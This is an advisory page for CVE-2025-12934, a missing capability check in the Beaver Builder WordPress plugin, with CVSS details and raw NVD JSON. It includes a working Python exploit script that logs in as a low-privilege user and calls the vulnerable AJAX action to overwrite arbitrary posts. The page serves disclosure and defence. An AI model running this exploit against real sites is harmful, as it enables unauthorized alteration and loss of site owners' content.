Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-12934 CVSS 8.1 HIGH

CVE-2025-12934

Published: 2025-12-23 10:15:43
Last Modified: 2026-04-15 00:35:42

Description

The Beaver Builder – WordPress Page Builder plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability check on the 'duplicate_wpml_layout' function in all versions up to, and including, 2.9.4.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary posts with the content of other existing posts, potentially exposing private and password-protected content and deleting any content that is not saved in revisions or backups. Posts must have been created with Beaver Builder to be copied or updated.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Beaver Builder Lite Version < 2.9.5
Beaver Builder Plugin (Premium) < 2.9.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12934 PoC - Beaver Builder Unauthorized Post Modification # Author: Security Researcher # Target: Beaver Builder Plugin < 2.9.5 import requests import sys def exploit_cve_2025_12934(target_url, username, password, source_post_id, target_post_id): """ Exploit for Beaver Builder duplicate_wpml_layout function Missing capability check allows authenticated users to modify arbitrary posts """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Exploit the missing capability check exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # The vulnerable action: 'fl_builder_duplicate_wpml_layout' exploit_data = { 'action': 'fl_builder_duplicate_wpml_layout', 'post_id': target_post_id, # Target post to be overwritten 'duplicate_post_id': source_post_id # Source post content to copy } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f"[+] Exploit sent successfully") print(f"[+] Post {target_post_id} content replaced with content from post {source_post_id}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve_2025_12934.py <target_url> <username> <password> <source_post_id> <target_post_id>") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] source_post_id = sys.argv[4] target_post_id = sys.argv[5] exploit_cve_2025_12934(target_url, username, password, source_post_id, target_post_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12934", "sourceIdentifier": "[email protected]", "published": "2025-12-23T10:15:42.953", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Beaver Builder – WordPress Page Builder plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability check on the 'duplicate_wpml_layout' function in all versions up to, and including, 2.9.4.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary posts with the content of other existing posts, potentially exposing private and password-protected content and deleting any content that is not saved in revisions or backups. Posts must have been created with Beaver Builder to be copied or updated."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/beaver-builder-lite-version/trunk/classes/class-fl-builder-model.php#L181", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/beaver-builder-lite-version/trunk/classes/class-fl-builder-model.php#L5490", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3425646/beaver-builder-lite-version/trunk", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bc2db74d-61b9-498a-a0d8-e43466b06f37?source=cve", "source": "[email protected]"}]}}